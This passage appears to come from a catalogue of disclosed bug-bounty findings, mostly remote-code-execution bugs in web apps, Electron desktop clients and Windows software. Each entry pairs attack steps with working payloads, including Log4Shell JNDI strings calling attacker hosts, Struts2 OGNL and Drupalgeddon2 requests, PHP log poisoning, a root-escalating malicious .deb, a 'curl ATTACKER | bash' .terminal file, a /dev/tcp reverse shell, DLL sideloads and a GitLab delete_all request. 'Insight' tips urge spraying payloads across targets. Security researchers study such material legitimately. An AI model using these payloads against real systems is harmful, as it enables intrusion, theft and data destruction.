- Override the builtin to detect and rewrite the internal IPC message name/args
- Trigger the internal call (alert()) to emit an attacker-chosen dispatch-action
<script>
Function.prototype.call=function(e){
if(e && e[0]=='window-alert'){
e[0]='dispatch-action';
e[1]='{"actionType":"window-new-frame","frameOpts":{"location":"https://www.google.com/ncr"},"openInForeground":true}';
}
return this.apply(e);
};
alert();
</script>
Insight β When native/privileged logic and untrusted content share a JS realm, prototype/builtin tampering is a code-injection primitive: look for security-relevant internal calls routed through overridable globals. Enables UXSS, settings changes, address-bar spoofing.
Real-world example
Exposed JSP debug console -> arbitrary Java via tag breakout
β Critical
Specimen #767482 Β· mtn_group Β· none Β· 8 votes Β· resolved
Program mtn_groupSurface webChain exposed console -> JSP scriptlet breakout -> LFI/comma
Root cause
A debug console writes user input into a generated .jsp inside <% %> tags without filtering; closing the opening tag lets the attacker inject full Java (including imports) that compiles and runs server-side, similar to breaking out of an HTML context.
Method
- Reach the debug console (e.g. /portal-api/tools/debug_console/index.jsp)
- Enter Java that closes the scriptlet tag and adds page imports
- Read files / run commands as the web server uid
out.print("LOCAL FILE DATA");
out.print(":");%>
<%@ page import="java.io.*"%>
<%
File file = new File("/etc/mime.types");
BufferedReader br = new BufferedReader(new FileReader(file));
String st; while ((st = br.readLine()) != null) { out.println(st); };%>
<% out.println("Exit");
Insight β Any 'admin/debug console' that evals server-side code (JSP scriptlet, Groovy, SpEL) is RCE if reachable; even a limited eval field can be escaped with %> ... <% to import arbitrary classes. Look for /debug_console, /admin/execute, exposed script runners.
Real-world example
Log4Shell: JNDI lookup RCE via logged input field
β Critical
Specimen #1423496 Β· deptofdefense Β· none Β· 4 votes Β· resolved
Program deptofdefenseSurface webChain username field -> log4j lookup -> JNDI/LDAP fetch ->
Root cause
log4j2 interpolates ${...} lookups in any logged message; ${jndi:ldap://ATTACKER/x} makes the server connect to and load/deserialize a remote Java class, giving remote code execution (CVE-2021-44228).
Method
- Identify any field whose value is likely logged (username, User-Agent, X-Forwarded-For, search)
- Enter ${jndi:ldap://COLLAB/a} as the value and submit
- Watch your DNS/LDAP listener for an out-of-band callback = vulnerable log4j
- Escalate the LDAP referral to serve a malicious class for RCE
${jndi:ldap://COLLAB/a}
Insight β Spray ${jndi:ldap://COLLAB/x} (and obfuscated ${${lower:j}ndi:...} variants) into every reflected or logged parameter and header; a bare DNS hit already confirms exploitability without full RCE.
Real-world example
Log4Shell (JNDI) via a logged login field β OOB callback β RCE
β Critical
Specimen #1438393 Β· deptofdefense Β· none Β· 2 votes Β· resolved
Program deptofdefenseSurface webChain user input -> vulnerable log4j lookup -> outbound JNDITag webhook
Root cause
A server-side app logged the submitted username using a vulnerable log4j2; log4j evaluated ${jndi:ldap://...} lookups in the logged string, causing the server to reach out to an attacker-controlled host (CVE-2021-44228) and enabling remote code execution.
Method
- Pick any user-controlled field likely written to server logs (username, User-Agent, search box, headers)
- Submit a JNDI lookup payload pointing at a collaborator/DNS server you control
- Observe an out-of-band DNS/LDAP hit β confirms vulnerable log4j; escalate to RCE via a JNDI exploit server
# in the login username field (also try User-Agent, X-Forwarded-For, Referer):
${jndi:ldap://COLLAB.oast.example/a}
# nested/obfuscated variants to bypass naive filters:
${${lower:j}ndi:${lower:l}dap://COLLAB/a}
${jndi:dns://COLLAB/a}
Insight β Detection is trivially portable: spray a JNDI/DNS canary into every reflected-or-logged input across a target and watch your OOB listener. A DNS callback with no HTTP reflection points straight at a logging-layer sink (log4j) rather than the usual injection contexts.
Real-world example
Log4Shell: JNDI lookup injection in logged fields
β Critical
Specimen #1631364 Β· deptofdefense Β· none Β· 1 votes Β· resolved
Program deptofdefenseSurface webChain user input -> log4j lookup expansion -> outbound LDAP Tag file-upload
Root cause
A vulnerable log4j version performs JNDI/lookup expansion on logged strings, so any user-controlled value that reaches a log statement (login username, User-Agent, URL parameter) can trigger an outbound LDAP fetch of an attacker-controlled Java class -> RCE.
Method
- Put a JNDI lookup payload into fields likely to be logged (login form fields, headers, path/query params).
- Use a nested lookup like ${hostName} to exfiltrate host info and confirm blind hits via DNS/LDAP callbacks to your interact server.
- Observe callback; escalate to class-loading RCE on vulnerable stacks.
# logged login field
j_username=${jndi:ldap://${hostName}.YOURINTERACTSERVER}&j_password=password&logincontext=employee
# POST https://TARGET/mifs/j_spring_security_check
# Solr admin param (url-encoded)
GET /solr/admin/collections?action=${jndi:ldap://${hostName}.YOURINTERACTSERVER/a}
Insight β Spray ${jndi:ldap://${hostName}.uniq.COLLAB} across every input that could be logged - auth failures and error paths are prime because failed logins get logged verbatim. The ${hostName} (or ${env:...}) prefix both fingerprints the victim and proves blind execution via the OOB callback.
Real-world example
CI build config installs attacker-supplied .deb -> maintainer/postinst script runs as root
β High
Specimen #692603 Β· semmle Β· 1500 Β· 206 votes Β· resolved
Program semmleSurface otherChain malicious .deb in repo -> apt install in prepare -> poTag supply-chain
Root cause
The build 'prepare' step let the user install arbitrary packages; because source is imported before prepare, an attacker can commit a malicious .deb into the repo and reference it by path, and apt runs its postinst maintainer script as root inside the build container.
Method
- Build a malicious .deb whose postinst writes a setuid-root helper (e.g. copy a setreuid(0,0)+system() binary and chmod 04755).
- Commit the .deb into the repo so it lands at /opt/src/work.deb after import.
- In the build config, list the .deb path under prepare.packages so apt installs it: apt install -y /opt/src/work.deb.
- Invoke the dropped setuid helper in after_prepare to run commands as root.
# postinst
#!/bin/sh
sudo cp /opt/src/run /suidfs/passwd && sudo chown root:root /suidfs/passwd && sudo chmod 04755 /suidfs/passwd && ln -s /suidfs/passwd /usr/bin/setpasswd && setpasswd id &
# run.c
void main(int c,char*a[]){ setreuid(0,0); system(a[1]); }
# build config
extraction:
java:
prepare:
packages:
- /opt/src/work.deb
after_prepare:
- /usr/bin/setpasswd 'id'
Insight β Any CI/build system that lets a repo declare packages or run install hooks is an RCE surface: package maintainer scripts (postinst/preinst) execute as the installing user (often root). Look for build config that permits arbitrary package sources or local paths.
Real-world example
Elasticsearch Painless script execution via GraphQL sort_query
β High
Specimen #3694007 Β· security Β· awarded Β· 142 votes Β· resolved
Program securitySurface graphqlChain GraphQL sort_query -> raw ES sort -> _script Painless Tag graphql
Root cause
A GraphQL search resolver forwarded the free-form sort_query String straight to Elasticsearch as the raw sort parameter with no allowlist, letting an authenticated user supply a _script sort clause whose Painless source compiles and executes per document inside the ES JVM.
Method
- Confirm sort_query accepts raw ES JSON: sort_query:'[{"id":"asc"}]' changes ordering
- Differential compile test: empty/unterminated Painless -> HTTP 500, valid '1'/'1+1' -> HTTP 200 (proves a Painless compiler is reached)
- Differential execution: constant script vs doc['_seq_no'].value produces different document ordering, proving per-doc script execution
- Stop at confirmation; note _script sort runs before resolver-layer authz (cross-tenant read risk)
query($sq:String){search(index:NotificationsIndex,query_string:"*",sort_query:$sq,size:5){edges{node{... on NotificationDocument{id}}}}}
# variables sort_query:
[{"_script":{"type":"number","script":{"source":"doc[\"_seq_no\"].value","lang":"painless"},"order":"asc"}}]
Insight β Any 'pass-through' search parameter (sort, query, aggs, script_fields) that reaches Elasticsearch/OpenSearch is a scripting sink. Prove execution safely with a differential oracle (compile-fail 500 vs 200; observable side effect on ordering) instead of running a real exploit.
Real-world example
DLL side-loading via uncontrolled search path (missing DLL on PATH)
β High
Specimen #3355766 Β· sony Β· none Β· 109 votes Β· resolved
Program sonySurface desktop
Root cause
A Windows app requests a DLL by bare name that no longer ships with it; Windows searches every directory on %PATH%, so any writable PATH dir lets an attacker plant a malicious DLL that loads into the app's process.
Method
- Run Procmon and filter for NAME NOT FOUND / PATH NOT FOUND on *.dll to find the missing DLL and the searched directories
- Confirm one searched directory is attacker-writable and on PATH
- Compile a proxy/payload DLL exporting DllMain that runs code on DLL_PROCESS_ATTACH
- Drop it as the missing DLL name in the writable PATH dir; relaunch the app
// z-bes.dll (build as DLL)
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE h, DWORD reason, LPVOID r){
if(reason==DLL_PROCESS_ATTACH) system("calc.exe");
return TRUE;
}
Insight β Procmon 'NAME NOT FOUND' on a bare-name DLL load is the tell for side-loading. Even DLLs the vendor removed still get searched for; any writable PATH entry (Git\cmd, user tool dirs) is the drop location. Generalizes to any packaged desktop app.
Real-world example
macOS Gatekeeper/quarantine bypass -> user-assisted RCE via .terminal file
β High
Specimen #470637 Β· slack Β· awarded Β· 97 votes Β· resolved
Program slackSurface desktopChain Missing quarantine xattr -> Gatekeeper skip -> .terminTag file-upload
Root cause
A desktop app that saves downloaded files without setting the com.apple.quarantine extended attribute lets those files skip Gatekeeper checks; a delivered .terminal file then runs its embedded shell commands the moment the user opens it, with no warning.
Method
- Craft a malicious .terminal (XML) file whose CommandString runs shell commands
- Send it to the victim through the app that omits the quarantine attribute (Slack Direct Download build)
- Victim opens it (Shift+Click / Finder); because it lacks com.apple.quarantine, macOS shows no unsigned-executable warning and runs the commands
<!-- exploit.terminal (Apple Terminal settings plist) -->
<key>CommandString</key>
<string>curl -s http://ATTACKER/x.sh | bash</string>
<key>RunCommandAsShell</key><false/>
# delivered via an app that does NOT set com.apple.quarantine on downloads
Insight β When testing any macOS app that downloads/saves files, check the saved file with `xattr -p com.apple.quarantine`. If it's absent, Gatekeeper is bypassed and 'auto-executing' formats (.terminal, .command, .webloc, .fileloc) become one-click RCE. App Store sandboxed builds set quarantine correctly; direct-download builds often don't.
Real-world example
Ingress-nginx path parameter directive injection -> Lua RCE
β High
Specimen #2701701 Β· kubernetes Β· awarded Β· 87 votes Β· resolved
Program kubernetesSurface otherChain Ingress path injection -> write nginx snippet to disk -&gTag cloud-aws
Root cause
Ingress-nginx rendered the Ingress path field into nginx.conf with insufficient sanitization; a tenant who can create Ingresses injects arbitrary nginx directives, and a two-stage upload+include bypasses the CVE-2021-25748 by_lua restriction to reach set_by_lua_block.
Method
- Create an Ingress whose path injects nginx directives to accept a POST body to disk (client_body_in_file_only)
- POST a malicious nginx snippet (set_by_lua_block calling io.popen) to that path
- Create a second Ingress that include's the uploaded snippet via wildcard
- Request it with a pathinjection header; the Lua runs io.popen and exfils the service-account token
# stage1 Ingress path:
path: |-
/body/ {
client_body_in_file_only on;
client_body_temp_path /tmp/nginx/f292392;
#
# uploaded exploit.txt:
set_by_lua_block $v { local f=io.popen(ngx.req.get_headers()["pathinjection"]); return f:read("*all"); }
proxy_set_header X-My-Var $v;
# stage2 Ingress path:
path: |-
/rce/ {
include /tmp/nginx/f292392/*;
#
Insight β Config-templating from user input (Ingress path, nginx/haproxy annotations) is directive injection. When inline by_lua is filtered, stage it: use client_body_in_file_only to write a snippet to disk, then include it from a second config to regain full Lua execution.
Real-world example
Code injection into generated code by breaking out of a comment context
β High
Specimen #1636382 Β· elastic Β· awarded Β· 47 votes Β· resolved
Program elasticSurface desktopChain malicious website -> injected payload in generated test -
Root cause
Synthetics Recorder generates a JS test from a recorded session; the waitForNavigation URL is placed inside a /* ... */ block comment via a quote() that escapes quotes but not comment terminators. A malicious website supplies a URL containing */ to escape the comment and inject JS that runs when the recorded test is later executed (dev machine / CI).
Method
- Host a page whose navigation URL contains a comment breakout payload
- Victim records a session against it and exports the generated test
- When the test runs (npx @elastic/synthetics .), the injected code executes
https://example.com?q=*/require(`child_process`).exec(`touch$IFS/tmp/pwn`)/*
// generated: page.waitForNavigation(/*{ url: 'https://example.com?q=*/require(`child_process`).exec(`touch$IFS/tmp/pwn`)/*' }*/),
Insight β For any code-generation/recording tool, map exactly which lexical context user input lands in (string, comment, template literal). Escaping quotes does nothing if the sink is a /* */ comment - inject */ to break out. Use $IFS to avoid encoded spaces.
Real-world example
Electron desktop RCE via domain-regex bypass + text/calendar auto-open
β High
Specimen #1016966 Β· basecamp Β· awarded Β· 46 votes Β· resolved
Program basecampSurface desktopChain subdomain regex bypass -> text/calendar mimetype -> auTag account-takeover
Root cause
The Basecamp Electron app auto-downloads and opens files from 'internal' URLs when the response mimetype is text/calendar. The internal-domain check is a weak regex matched on the full host, bypassable by controlling a subdomain; combined with ?attachment=true it auto-executes an attacker exe.
Method
- Register a subdomain that satisfies the regex (e.g. launchpad.dev.attacker.com)
- Serve your payload file returning Content-Type: text/calendar as an attachment
- Post a link http://launchpad.dev.attacker.com/file.exe?attachment=true; when the victim clicks it in the app it downloads and opens
# Flask server
@app.route('/<path:path>')
def h(path):
return send_from_directory('.', 'file.exe', as_attachment=True, mimetype='text/calendar')
# link posted to victim:
http://launchpad.dev.attacker.com/file.exe?attachment=true
Insight β Electron 'internal domain' allowlists are usually loose regexes anchored wrong - control a subdomain (launchpad.dev.attacker.com) to satisfy /launchpad\.(dev|test)/. Then abuse any auto-open mimetype list (OPENABLE_MIME_TYPES) to turn a link click into file execution.
Real-world example
Electron/Muon RCE via navigation to privileged chrome:// origin
β High
Specimen #395737 Β· brave Β· awarded Β· 46 votes Β· resolved
Program braveSurface desktopChain attacker HTML -> navigate to chrome://brave -> privateTag file-upload
Root cause
An Electron/Muon app allows in-app navigation to a privileged internal origin (chrome://brave) whose documents can access node-backed private APIs (chrome.remote.require), so reaching that context from attacker HTML yields native code execution. Sandboxing was disabled.
Method
- Host a malicious .html that a user opens via 'Open in new tab'
- From the page, navigate to chrome://brave + a known local file path (leaked via window.location.pathname from file:// origin)
- In the privileged context, use Muon private APIs to spawn a process
chrome.remote.require('child_process').exec('/Applications/Calculator.app/Contents/MacOS/Calculator')
Insight β On Electron/Muon/CEF desktop apps, enumerate which internal origins (chrome://, about:, file://, custom app://) are reachable from renderer navigation and whether any expose nodeIntegration/remote. A single reachable privileged origin = RCE. Also test that partial fixes for one scheme (about:/file:) didn't leave chrome:// open.
Real-world example
Apache Struts2 S2-045 OGNL injection via Content-Type
β High
Specimen #1070532 Β· mtn_group Β· none Β· 29 votes Β· resolved
Program mtn_groupSurface web
Root cause
Struts2 Jakarta multipart parser evaluates the Content-Type header as an OGNL expression when it triggers an error, allowing arbitrary OGNL (and thus command execution) via a crafted Content-Type.
Method
- Identify a Struts2 endpoint (.do/.action)
- Send a request with a malicious OGNL Content-Type that clears member-access restrictions and writes output
- Confirm with an arithmetic marker (e.g. 31337*31337) reflected in the response, then swap to command exec
Content-Type: %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(31337*31337)).(#ros.flush())}
Insight β Legacy Struts2 remains exploitable in the wild; the S2-045 Content-Type OGNL payload is a stable fingerprint+exploit - a reflected arithmetic result confirms code eval before you escalate to Runtime.exec.
Real-world example
PHP code injection via heredoc breakout into eval() (IPS previewBlock)
β High
Specimen #1092574 Β· ips Β· none Β· 26 votes Β· resolved
Program ipsSurface web
Root cause
IPS previewBlock() passes attacker block_content into _Theme::runProcessFunction(), which embeds it inside a PHP heredoc template that is then eval()'d. Content that closes the heredoc and the surrounding braces injects arbitrary PHP.
Method
- Authenticate as a user allowed to manage the sidebar (cms app enabled)
- Call the previewBlock action with block_content crafted to terminate the heredoc/function body and append PHP
- The generated template string is eval()'d, running your PHP
http://TARGET/index.php?app=cms&module=pages&controller=builder&do=previewBlock&block_plugin=stats&block_template_use_how=copy&block_plugin_app=core&_sending=block_content&block_content=RCE%0ACONTENT;}}phpinfo();die;/*
Insight β Template/render helpers that build PHP source (heredoc CONTENT; ... eval) are code-injection sinks: inject the heredoc terminator + closing braces (}}) then your code, and comment out the trailing template with /*.
Real-world example
curl Windows privesc via insecure OPENSSLDIR / malicious OpenSSL engine (CVE-2019-5443)
β High
Specimen #608577 Β· curl Β· awarded Β· 25 votes Β· resolved
Program curlSurface desktopChain writable config path -> malicious openssl.cnf -> engin
Root cause
curl's Windows build hardcodes OPENSSLDIR to c:\usr\local\ssl, a path any low-priv user can create. curl loads openssl.cnf from there, and an attacker-supplied config can load an arbitrary OpenSSL engine DLL, running code as whoever executes curl.
Method
- As a low-priv user, create c:\usr\local\ssl
- Drop an openssl.cnf that registers an engine with dynamic_path pointing at a malicious DLL
- Wait for any (higher-priv) user/process to run curl -> DLL's DllMain executes
# c:\usr\local\ssl\openssl.cnf
openssl_conf = openssl_init
[openssl_init]
engines = engine_section
[engine_section]
woot = woot_section
[woot_section]
engine_id = woot
dynamic_path = c:\\stage\\calc.dll
init = 0
Insight β Hardcoded config search paths under world-writable roots (c:\ on Windows) are a generic privesc/code-load primitive; look for apps that read *.cnf / *.ini / plugins from predictable, unprivileged-writable directories.
Real-world example
Missing com.apple.quarantine attribute -> one-click code execution
β High
Specimen #822609 Β· evernote Β· none Β· 23 votes Β· resolved
Program evernoteSurface desktop
Root cause
A macOS desktop app writes files it downloads/handles without setting the com.apple.quarantine extended attribute, so Gatekeeper does not evaluate them; an attacker-supplied terminal/executable file runs on a single click (Open with Terminal).
Method
- Craft a malicious executable/terminal-command file and deliver it via the app (note/attachment)
- Victim uses the app's 'Open with Terminal' / open action
- Because no com.apple.quarantine xattr was set, macOS executes without Gatekeeper prompt -> code execution
# verify the missing quarantine bit on files written by the target app:
xattr -l ~/path/to/downloaded_file # expect NO com.apple.quarantine
Insight β For any desktop client that downloads/handles files, check whether it sets com.apple.quarantine (macOS) or Mark-of-the-Web (Windows Zone.Identifier). Missing MOTW/quarantine turns 'open attachment' into code execution.
Real-world example
Electron desktop XSS -> RCE via process.binding('process_wrap')
β High
Specimen #291539 Β· automattic Β· awarded Β· 19 votes Β· resolved
Program automatticSurface desktopChain stored/shared note XSS -> Node RCE
Root cause
Simplenote's Electron renderer runs note content with Node integration enabled, so an XSS in the Markdown preview reaches Node APIs; process.binding('process_wrap').Process lets the payload spawn arbitrary OS processes even when 'require'/'child_process' appear unavailable.
Method
- Get script execution in the Electron renderer (here: <img onerror> in a Markdown/preview note)
- Use eval(String.fromCharCode(...)) to load remote JS and dodge naive filters
- In that JS, obtain Process via process.binding('process_wrap') and call proc.spawn() to launch cmd.exe / a binary
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b){};
var env_=[]; for (var k in process.env) env_.push(k+'='+process.env[k]);
proc.spawn({file:'cmd.exe',args:['/k netplwiz'],cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});
// delivery:
<img src=x onerror=eval(String.fromCharCode(/* loads http://ATTACKER/x.js */))>
Insight β In any Electron app with nodeIntegration on, an HTML/Markdown injection is full RCE; process.binding('process_wrap').Process is the go-to spawn primitive when child_process/require are stripped. Content shared between users (notes, tags) makes it a delivery vector.
Real-world example
Drupalgeddon2 render-array RCE (CVE-2018-7600)
β High
Specimen #1063256 Β· deptofdefense Β· none Β· 19 votes Β· resolved
Program deptofdefenseSurface web
Root cause
Drupal 7/8 fails to sanitize #-prefixed keys in form array input; injecting a render array like name[#post_render][]=passthru with name[#markup]=<cmd> causes the Form API to call the named PHP function on attacker markup, yielding RCE.
Method
- Fingerprint an outdated Drupal (e.g. 7.54) via CHANGELOG/version
- POST to /user/password with the render-array injection in the name field, requesting a build id
- Replay against /file/ajax/... to execute the command
POST /user/password/?name[%23post_render][]=passthru&name[%23markup]=id&name[%23type]=markup
form_id=user_pass&_triggering_element_name=name
# tooling: ruby drupalgeddon2-customizable-beta.rb -u https://TARGET/ -v 7 -c id --form user/login
Insight β Drupal Form API keys starting with # are internal directives; unfiltered array injection turns #post_render/#lazy_builder into arbitrary-callback execution. On any legacy Drupal, jump straight to the #post_render passthru gadget.
Real-world example
Log-file extension check bypass -> PHP log poisoning RCE
β High
Specimen #841947 Β· concretecms Β· none Β· 16 votes Β· resolved
Program concretecmsSurface webChain log-write control + arbitrary log path -> stored PHP ->Tag file-upload
Root cause
The logging-settings controller only validates the log filename ends in .log inside an if-branch gated on handler==file && logging_mode being set; sending the request so that guard is false skips the .log check but still saves the attacker's logFile path, letting the app log to an arbitrary .php file. Attacker-controlled input (e.g. a username) is then written into that .php and executed on request.
Method
- As admin, set the log File to <webroot>/pwned.php
- Manipulate the request so handler!=file or logging_mode is empty, bypassing the .log extension validation branch
- App restores mode=simple and saves logFile as the .php path
- Inject PHP by logging in with username <?php system('id'); ?>
- Request /pwned.php to execute
POST .../dashboard/system/environment/logging
logFile=/var/www/html/pwned.php&handler=xxx # or empty logging_mode to skip .log check
# then trigger a log write with attacker-controlled content:
username=<?php system('id'); ?>
Insight β Any 'set log file path' or 'set output file' admin feature is a code-execution primitive if the extension/allowlist check can be skipped: control the sink filename (.php in webroot) + control any value that gets logged verbatim. Look for validation nested in a conditional the attacker can make false.
Real-world example
Electron/Muon privileged-context escape via chrome:// navigation
β High
Specimen #415258 Β· brave Β· awarded Β· 16 votes Β· resolved
Program braveSurface desktopChain shortcut DnD -> chrome://brave origin -> local file reTag file-upload
Root cause
Dropping a shortcut file (.desktop/.webloc) onto a tab is handled at Chromium level and navigates to the URL it points at, reaching the privileged chrome://brave origin, where loaded HTML can read local files and call Electron/Muon internals (ipcRenderer, chrome.remote.getBuiltin) -> RCE.
Method
- Host a shortcut file whose target is chrome://brave/<attacker-html-path> (or an attacker HTML with known absolute path; MITM/local XSS also reach the origin).
- Get the victim to drag-and-drop it onto a tab -> navigation to chrome://brave origin.
- From that HTML, read local files via <link rel=import> and access ipcMain/ipcRenderer or chrome.remote.getBuiltin('...') to run arbitrary code.
<!-- local file read from chrome://brave -->
<link id="link" rel="import" href="chrome://brave/etc/passwd" onload="alert(link.import.body.innerHTML)">
<script>
let ipcMain = chrome.remote.getBuiltin('ipcMain'); // electron internals
let ipcRenderer = chrome.ipcRenderer; // arbitrary IPC -> RCE
</script>
Insight β In Electron/Muon/CEF apps, any path that reaches a privileged internal origin (chrome://, app://, file://) exposes Node/IPC APIs. Drag-and-drop of shortcut files is a stealthy navigation primitive to internal origins; also probe custom protocol handlers and nodeIntegration on internal pages.
Real-world example
Rails Active Storage image-transform code injection (CVE-2022-21831)
β High
Specimen #1652042 Β· ibb Β· USD 2000 Β· 14 votes Β· resolved
Program ibbSurface webTag file-upload
Root cause
Active Storage variant transformation method names/arguments were passed to the mini_magick back end without an allowlist; when the transformation method or its args are untrusted input, an attacker can inject ImageMagick/command arguments and reach code execution.
Method
- Find image_tag blob.variant(params...) or any variant()/transformation driven by request params
- Supply a transformation method/argument that injects mini_magick/ImageMagick options
- Escalate to command execution via ImageMagick argument injection
<%= image_tag blob.variant(params[:t] => params[:v]) %>
# untrusted params[:t]/params[:v] -> mini_magick argument/code injection
Insight β Whenever user input names an operation or option that is dispatched to an external tool (ImageMagick, ffmpeg) via a Ruby method/kwargs, treat it as a code/argument-injection sink. Fix pattern = strict allowlist of transformation methods+args plus a hardened ImageMagick policy.xml.
Real-world example
Code injection via world-writable predictable config path (OpenSSL openssl.cnf load)
β High
Specimen #162955 Β· slack Β· awarded Β· 14 votes Β· resolved
Program slackSurface desktopChain low-priv local user -> plant config -> code exec in viTag supply-chain
Root cause
slack.exe tries to load its OpenSSL config from a fixed, non-existent path (C:\usr\local\ssl\openssl.cnf) on the system drive root, where any authenticated user may create folders. An attacker plants the config, which instructs OpenSSL to load an arbitrary shared library into another user's process.
Method
- Use Procmon to find NAME NOT FOUND file opens against writable predictable paths (config/DLL/library files)
- Create the missing directory tree and drop a malicious openssl.cnf that loads an attacker DLL/engine
- Wait for the victim (Slack auto-starts at logon) to load the config -> code runs in their process
# C:\usr\local\ssl\openssl.cnf
openssl_conf = openssl_init
[openssl_init]
engines = engine_section
[engine_section]
malicious = malicious_engine
[malicious_engine]
dynamic_path = C:\\path\\to\\evil.dll
Insight β Diff a desktop app with Procmon for CreateFile/LoadLibrary on missing paths under writable roots (C:\, C:\usr, PATH dirs). Missing config/DLL loads from user-writable locations are a generic local code-injection/privesc primitive across native apps.
Real-world example
Electron desktop RCE: markdown XSS + RegExp.prototype override -> shell.openExternal(file://)
β High
Specimen #276031 Β· rocket_chat Β· none Β· 12 votes Β· resolved
Program rocket_chatSurface desktopChain renderer XSS -> prototype override -> shell.openExternTag account-takeover
Root cause
An Electron preload hooks link clicks and forwards href to shell.openExternal() after a scheme regex check, but the preload runs attached to the user-controlled DOM (window.onload) instead of an isolated scope. Attacker JS can override RegExp.prototype.test to defeat the file:// guard, and shell.openExternal on a file:// (or SMB \\host\share) path executes a program.
Method
- Get JS execution in the renderer (here via a markdown link/inline-code parser breakout of the href attribute)
- Override RegExp.prototype.test (Proxy or method replacement) so the scheme allowlist check returns false/true as needed
- Create/click an anchor with href=file:///path or \\attacker\share\evil.exe
- Preload passes it to shell.openExternal -> execution
// markdown that breaks the href attribute (276031):
[ hax ](http://hax//onmouseover=location='https://evil/hack.html';"`hax`zzz)
// bypass the file:// scheme check and launch:
RegExp.prototype.test = new Proxy(RegExp.prototype.test, { apply:(t,thisArg,a)=>{
if(thisArg.source==='^file:\\/\\/.+' && a[0]==='file:///Applications/Calculator.app') return false;
return Reflect.apply(t,thisArg,a);
}});
let a=document.createElement('A'); a.href='file:///Applications/Calculator.app'; document.body.appendChild(a); a.click();
Insight β On Electron apps: (1) any link/URL passed to shell.openExternal is an RCE sink (file://, SMB share -> exe + NTLM leak); (2) preload code that isn't in an isolated context can have its prototype methods (RegExp.test, etc.) overridden by page JS to bypass URL allowlists. Recommend contextIsolation. The 843171 fix-bypass re-broke the same guard by redefining RegExp.prototype.test and using dispatchEvent to fire the addEventListener handler.
Real-world example
Reaching a privileged internal page (chrome://brave) via bookmark navigation bypass
β High
Specimen #415178 Β· brave Β· USD 300 Β· 12 votes Β· resolved
Program braveSurface desktopChain bookmark nav bypass -> chrome://brave -> RCE (#395737)Tag account-takeover
Root cause
Direct navigation to the privileged chrome://brave page is blocked, but it can still be reached by middle-/CTRL-clicking a bookmark whose URL is chrome://brave; the attacker seeds the bookmark via a drag-and-drop trick, then chains to an existing chrome://brave RCE.
Method
- Host a page that instructs/tricks the user into bookmarking a crafted URL (drag-and-drop anchor to bookmarks)
- Have the user CTRL-click or 'open in new tab' the bookmark, which bypasses the direct-navigation block to chrome://brave
- Leverage the privileged page for RCE (chains to #395737); optionally use #415167 to locate local files
// anchor dragged to bookmarks bar with href=chrome://brave ; opened via CTRL+click
Insight β Navigation restrictions to privileged internal schemes (chrome://, about:) are often enforced only on the top-level/typed path; alternate navigation vectors (bookmarks, middle-click, window.open, redirects) can bypass them. When a privileged page is RCE-capable, finding any way to reach it is the whole exploit.
Real-world example
Unsafe reflection: user param to public_send enables destructive methods
β High
Specimen #186194 Β· gitlab Β· none Β· 11 votes Β· resolved
Program gitlabSurface webChain unvalidated param β public_send β delete_all on unscoped rel
Root cause
CVE-2016-9469: GitLab's IssuableFinder#by_state calls items.public_send(params[:state]) on an ActiveRecord relation with an unvalidated state parameter, guarded only by respond_to?. Because the call happens before project/group scoping, an attacker passes delete_all/destroy_all and wipes every Issue and MergeRequest on the instance.
Method
- Find an endpoint that maps a request param onto a method name via send/public_send
- Confirm the param reaches the call unvalidated (only respond_to? gating)
- Substitute a destructive/relation method for the expected value in the URL
- Because scoping is applied later in the chain, the method runs against the unscoped collection
# legitimate
GET /root/proj/issues?scope=all&state=all
# weaponized
GET /root/proj/issues?scope=all&state=delete_all
GET /root/proj/merge_requests?scope=all&state=delete_all
Insight β Grep server code for send/public_send/__send__ fed by params. respond_to? is not a whitelist β any relation method (delete_all, destroy_all, update_all) is reachable. Order matters: if a dangerous method is invoked before authz/scope filters, it operates globally. Fix = strict enum whitelist, never reflect user input to method names.
Real-world example
fast-json-stringify schema property name -> generated-code injection
β High
Specimen #532667 Β· nodejs-ecosystem Β· awarded Β· 10 votes Β· resolved
Program nodejs-ecosystemSurface api
Root cause
fast-json-stringify compiles the JSON schema into JavaScript source, embedding property names as string literals; a property name containing a quote breaks out of the literal and injects code that runs when the compiled serializer executes.
Method
- Reach any place where a schema property name is attacker-controllable (dynamic schema build)
- Set a property name that closes the string literal and appends JS
- When the serializer function runs, the injected code executes -> RCE/reverse shell
// malicious schema property name (breaks out of the generated string literal):
[(() => `phra'&&(function(){
const spawn_sync = process.binding('spawn_sync');
/* ...build spawnSync... */
spawnSync('/bin/bash', ['-c', 'bash -i >& /dev/tcp/127.0.0.1/1337 0>&1'])
}())||'phra`)().replace(/\n/g, ';')]: {}
Insight β Any library that generates JS/SQL/template source from a schema or config (fast-json-stringify, code-gen serializers, ORM builders) is injectable if a name/key is user-influenced and quotes aren't escaped. Test key names, not just values.
Real-world example
OpenSSL config/DLL sideload from user-writable C:\ path
β High
Specimen #630903 Β· monero Β· none Β· 10 votes Β· resolved
Program moneroSurface desktopChain writable path -> planted openssl.cnf+DLL -> code exec
Root cause
A bundled libeay32/OpenSSL reads openssl.cnf from a relative ..\ssl directory under an install path any authenticated user can create, and the config loads an attacker DLL/engine, so a low-priv user gets code execution in the next user's context.
Method
- Observe (ProcMon) the app searching for openssl.cnf and getting PATH NOT FOUND
- Create the missing writable ssl folder (e.g. C:\monero-gui-...\ssl)
- Drop a malicious openssl.cnf plus DLL that runs on load
- When a higher-priv user launches the app, the DLL executes
mkdir C:\monero-gui-win-x64-v0.14.0.0\ssl
copy calc.dll C:\monero-gui-win-x64-v0.14.0.0\ssl
copy openssl-calc.cnf C:\monero-gui-win-x64-v0.14.0.0\ssl\openssl.cnf
Insight β Run ProcMon on Windows desktop apps and look for NAME/PATH NOT FOUND on .cnf/.dll in world-writable dirs (C:\, install root). OpenSSL's OPENSSL_conf and DLL search order are classic sideload/priv-esc primitives.
Real-world example
Server-side expression/eval injection (time-based blind)
β High
